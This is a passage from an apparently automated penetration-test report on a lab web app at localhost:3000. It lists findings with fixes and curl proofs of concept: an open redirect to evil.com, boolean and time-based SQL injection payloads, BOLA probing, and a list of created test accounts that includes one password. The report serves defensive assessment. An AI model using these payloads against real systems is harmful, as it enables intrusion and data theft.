Observed: - GET /go?url=https://evil.com -> HTTP 302, Location: https://evil.com [E01] - GET /go?url=//evil.com -> HTTP 302, Location: //evil.com [E02] - repeat of E01 -> identical Location: https://evil.com [E03] Not demonstrated: Credential/token theft. Potential impact: Phishing and trust abuse: victims following a localhost:3000 link are silently sent to an attacker domain.

How to fix it

In the /go handler, do not pass user input straight to res.redirect. Resolve `url` against an allowlist of internal paths, or require a relative path (reject values starting with a scheme, `//`, or a backslash) before redirecting. Prefer mapping to server-side known destinations.

Proof of concept — step by step

  1. curl -s -i 'http://localhost:3000/go?url=https://evil.com'
  2. Read the response status line: HTTP/1.1 302 Found
  3. Read the Location header: Location: https://evil.com (external host, not localhost)
  4. curl -s -i 'http://localhost:3000/go?url=//evil.com'  # protocol-relative variant, Location: //evil.com

Payload

http://localhost:3000/go?url=https://evil.com  (also //evil.com)

Technical evidence

AGENT-RECORDED EVIDENCE
Request: GET /go?url=https://evil.com HTTP/1.1
Response: HTTP/1.1 302 Found
Location: https://evil.com
Content-Length: 38 body: 'Found. Redirecting to https://evil.com'. Repeated: identical Location. Protocol-relative //evil.com also honored (Location: //evil.com). No session required. PoC: pocs/open_redirect_go.sh

Runnable script (extra)

The steps above are the proof; this script automates them.

Info 13. MaxPrice is SQL-injectable with a boolean oracle NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA03:2021-Injection · CWE-89Confidence1/1 · refute 1/2 · receipt_missing · conf 0.60
LocationGET http://localhost:3000/shop/filter?maxPrice=
Agentapi_bola_numeric_ids
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce

Where the problem is

GET http://localhost:3000/shop/filter?maxPrice= — Query parameter `maxPrice` concatenated into a numeric SQL predicate.

What it means

Observed: - TRUE vs FALSE payloads yield 1589 vs 1211 byte responses [E01] - single quote breaks query (1208) [E02] Not demonstrated: Blind data extraction possible. Potential impact: Full blind DB read via boolean inference.

How to fix it

Parameterise the maxPrice predicate and cast/validate it as a number server-side.

Proof of concept — step by step

  1. curl -s 'http://localhost:3000/shop/filter?maxPrice=100000' | wc -c   # 1582
  2. curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20OR%201=1' | wc -c   # 1589
  3. curl -s 'http://localhost:3000/shop/filter?maxPrice=100000%20AND%201=2' | wc -c   # 1211
  4. curl -s "http://localhost:3000/shop/filter?maxPrice=100000'" | wc -c   # 1208 (broken)

Payload

maxPrice=100000 OR 1=1   (TRUE)  vs  maxPrice=100000 AND 1=2   (FALSE)  vs  maxPrice=100000'

Technical evidence

AGENT-RECORDED EVIDENCE
Deterministic response-length differential: baseline len=1582; `OR 1=1` len=1589 (all rows); `AND 1=2` len=1211 (no rows); trailing single-quote len=1208 (query breaks). Reproducible. PoC: pocs/sqli_blind_filter.sh (unauthenticated).

Runnable script (extra)

The steps above are the proof; this script automates them.

Info 14. The `comment` field of POST /support/feedback reaches a SQL time function: an injected SLEEP(n)/pg_sleep(n)… NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA03:2021-Injection · CWE-89Confidence0/1 · refute 0/2 · conf 0.50
Locationhttp://localhost:3000/support/feedback
Agentsqli_time
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce

Where the problem is

http://localhost:3000/support/feedback — POST /support/feedback, request body field `comment` (accepted as JSON {"comment":"..."} or form-encoded comment=...). Injection context: single-quote string, closed with `'` and commented with `-- -`.

What it means

Observed: - POST comment=hi -> HTTP 200, len=1098, 0.001s (baseline) [E01] - POST comment="hi' AND SLEEP(0)-- -" -> 200, 0.002s (control, no delay) [E02] - POST comment="hi' AND SLEEP(1)-- -" -> 200, 1.005s x3 [E03] - POST comment="hi' AND SLEEP(4)-- -" -> 200, 4.003s x3 [E04] - delayed 200 body: 'time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}' [E05] Not demonstrated: Full boolean-oracle DB extraction / auth bypass via this sink. Potential impact: Byte-by-byte exfiltration of DB contents and possible auth bypass if the sink evaluates attacker boolean conditions (not demonstrated on this build).

How to fix it

Use parameterised/prepared statements (bound parameters) for the feedback comment; never concatenate the raw `comment` value into SQL. Reject/normalise input server-side and remove any code path that reflects SQL functions into the query. Add DB query timeouts.

Proof of concept — step by step

  1. curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi"}'   # baseline ~0.001s
  2. curl -s -o /dev/null -w 'time=%{time_total}\n' -X POST http://localhost:3000/support/feedback -H 'Content-Type: application/json' -d '{"comment":"hi'\''" " AND SLEEP(1)-- -"}'   # (use the python PoC for clean quoting) ~1.0s
  3. python3 /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/pocs/blind_time_sqli_feedback.py   # prints baseline/SLEEP(0/1/4) timings + the flag
  4. Read result: response time equals the injected SLEEP() argument; delayed 200 body contains 'time-based blind SQLi confirmed' and the flag.

Payload

hi' AND SLEEP(4)-- -

Technical evidence

AGENT-RECORDED EVIDENCE
Baseline `{"comment":"hi"}` -> 200, len=1098, ~0.001s. Attack `{"comment":"hi' AND SLEEP(4)-- -"}` -> 200, len=1222, 4.003s. Delay scales exactly with the argument: SLEEP(0)=0.002s, SLEEP(1)=1.005s, SLEEP(4)=4.003s, reproducible 3/3. Delayed 200 body states: 'Response delayed Ns via an injected SLEEP() - time-based blind SQLi confirmed. Flag: BURPAT{web_sqli_blind_time_5707642b}'. Note (honest): delay is triggered by presence of the SLEEP()/pg_sleep() token — a plaintext comment `please SLEEP(3) thanks` (no quote/SQL context) also delayed 3s, and both IF(1=1,...) and IF(1=2,...) branches delayed — so conditional data-extraction via boolean oracle was NOT demonstrated; the attacker-controlled server-side time delay in the query path WAS.

Runnable script (extra)

The steps above are the proof; this script automates them.

Info 15. Endpoint requires a token but returns not-found for all probed ids; no order objects present NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA01:2021-Broken-Access-Control · CWE-639Confidence0/1 · conf 0.00
Locationhttp://localhost:3000/api/v2/orders/:id
Agentbola
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity

Where the problem is

http://localhost:3000/api/v2/orders/:id — GET /api/v2/orders/{id} — same Bearer-auth surface as the users endpoint.

What it means

Observed: - GET /api/v2/orders/1 (no token) -> 401 [E10] - GET /api/v2/orders/1..12 (customer token) -> 200 {"error":"not found"} [E11] Not demonstrated: Cross-user order access. Potential impact: If order records exist, likely BOLA identical to /api/v2/users/:id.

How to fix it

Apply the same server-side object-level authorization (token.id must own the order, or admin) before any order object exists in production.

Proof of concept — step by step

  1. curl -s -o /dev/null -w '%{http_code}\n' http://localhost:3000/api/v2/orders/1   # 401 no token
  2. curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/orders/1   # {"error":"not found"} — no data to compare

Payload

Authorization: Bearer <own customer JWT> → GET /api/v2/orders/1..12

Technical evidence

AGENT-RECORDED EVIDENCE
Unauth -> 401. With valid customer token, ids 1-12 all return HTTP 200 {"error":"not found"}. No order records exist in this build, so cross-user data access could NOT be demonstrated. Given /api/v2/users/:id is confirmed BOLA on the identical auth surface, this endpoint is very likely to share the missing object-level check once orders exist.

Info 16. Test accounts created during the engagement (DELETE after) NEEDS REVIEW

CriticalityInfoStatusneeds-review
OWASP / CWEA04:2021-Insecure-DesignConfidenceconf 0.60
Locationhttp://localhost:3000
Agentaccount_registration_and_formsAuth contextn/a · 10 test account(s)
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class

Where the problem is

http://localhost:3000

What it means

Observed: - 10 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E01] - • nrsplt_1a883993@example.test [customer] — created via curl: POST username,email,password urlencoded to /register (no CSRF token); 302->/account with session cookie [E02] - • nrsplt_a17847@example.test [customer] — created via curl POST username/email/password to /register (302 -> /account, session set) [E03] - • nrsplt_poc3862@example.test [customer] — created via created by pocs/bola_v2_users.sh single run (id=10) [E04] - • admin (leaked, NOT created) [admin] — created via extracted from BOLA response, NOT created by us [E05] - • nrsplt_11878@example.test [customer] — created via curl: POST username/email/password to /register (302 /account, auto-logged-in), then POST username/password to /login [E06] - • nrsplt_a_10061@example.test [user] — created via curl POST username/email/password [E07] - • nrsplt_b_16593@example.test [user] — created via curl POST username/email/password [E08] - • poc_24781@example.test [user] — created via created by pocs/bola_v2_users.sh (id 14) [E09] - • nrsplt_15633@example.test [user] — created via curl POST username/email/password to /register, 302 to /account with nimbus.sid cookie [E10] - • nrsplt_3af23ef6@example.test [user] — created via curl POST username=nrsplt_3af23ef6 email=nrsplt_3af23ef6@example.test password=Nrsplt_Pass_3af23ef6! [E11] Not demonstrated: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Delete the listed test accounts; rotate anything they touched.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s 'http://localhost:3000'

Technical evidence

AGENT-RECORDED EVIDENCE
10 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_1a883993@example.test [customer] — created via curl: POST username,email,password urlencoded to /register (no CSRF token); 302->/account with session cookie
• nrsplt_a17847@example.test [customer] — created via curl POST username/email/password to /register (302 -> /account, session set)
• nrsplt_poc3862@example.test [customer] — created via created by pocs/bola_v2_users.sh single run (id=10)
• admin (leaked, NOT created) [admin] — created via extracted from BOLA response, NOT created by us
• nrsplt_11878@example.test [customer] — created via curl: POST username/email/password to /register (302 /account, auto-logged-in), then POST username/password to /login
• nrsplt_a_10061@example.test [user] — created via curl POST username/email/password
• nrsplt_b_16593@example.test [user] — created via curl POST username/email/password
• poc_24781@example.test [user] — created via created by pocs/bola_v2_users.sh (id 14)
• nrsplt_15633@example.test [user] — created via curl POST username/email/password to /register, 302 to /account with nimbus.sid cookie
• nrsplt_3af23ef6@example.test [user] — created via curl POST username=nrsplt_3af23ef6 email=nrsplt_3af23ef6@example.test password=Nrsplt_Pass_3af23ef6!

Runnable script (extra)

The steps above are the proof; this script automates them.